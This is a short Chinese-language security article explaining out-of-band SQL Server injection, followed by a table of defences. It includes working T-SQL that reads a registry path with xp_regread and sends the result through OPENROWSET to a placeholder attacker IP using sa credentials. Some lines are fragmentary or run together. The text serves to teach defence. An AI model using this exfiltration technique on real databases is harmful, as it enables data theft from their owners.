目標網站屏蔽所有錯誤訊息、使用普通權限資料庫帳號、已套用全部修補程式,傳統報錯型/聯合查詢型注入失效。攻擊者轉向**「跨站式 SQL 注入」**:利用 SQL Server 向外部伺服器發送命令的能力,將資料/錯誤導向攻擊者控制的監聽端。
CREATE TABLE dbo.laokai (cha8 CHAR(255));
DECLARE @result VARCHAR(255);
EXEC master.dbo.xp_regread
'HKEY_LOCAL_MACHINE',
'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots',
'/', @result OUTPUT;
INSERT INTO laokai (cha8)
VALUES ('SELECT a.* FROM OPENROWSET(''SQLOLEDB'',''攻擊者IP'';''sa'';''密碼'',
''SELECT * FROM pubs.dbo.authors WHERE au_fname=''''' + @result + ''''''') AS a');
C:\Inetpub\wwwroot)
DECLARE @a1 CHAR(255);
SET @a1 = (SELECT cha8 FROM laokai);
EXEC (@a1);
SELECT * FROM pubs.dbo.authors WHERE au_fname='C:\Inetpub\wwwroot'| 層面 | 措施 |
|---|---|
| 資料庫設定 | 停用 xp_cmdshell、OPENROWSET、OPENDATASOURCE、xp_regread 等高危擴展預存程序 (sp_dropextendedproc) |
| 帳號權限 | Web 應用使用**最低權限**帳號 (僅 db_datareader/db_datawriter + 執行特定 SP),嚴禁 sa/sysadmin |
| 程式碼層 | **全面參數化查詢** (SqlParameter/CommandObject),嚴禁字串拼接 SQL |
| 網路層 | 資料庫伺服器**禁止主動對外連線** (防火牆僅允許應用伺服器 IP 入站 1433) |
| 監控層 | 啟用登入/錯誤稽核,監控 OPENROWSET、xp_* 呼叫,異常告警 |
| 輸入驗證 | 白名單驗證所有使用者輸入 (長度、字元集、格式) |
跨站式 SQL 注入展示了**錯誤訊息屏蔽不等於安全**的鐵律:只要資料庫具備向外發送命令的能力,攻擊者即可將資料「彈射」至外部。徹底防範需從**權限最小化、功能裁剪、網路隔離、參數化查詢**多層次佈防,單一修補無法根治。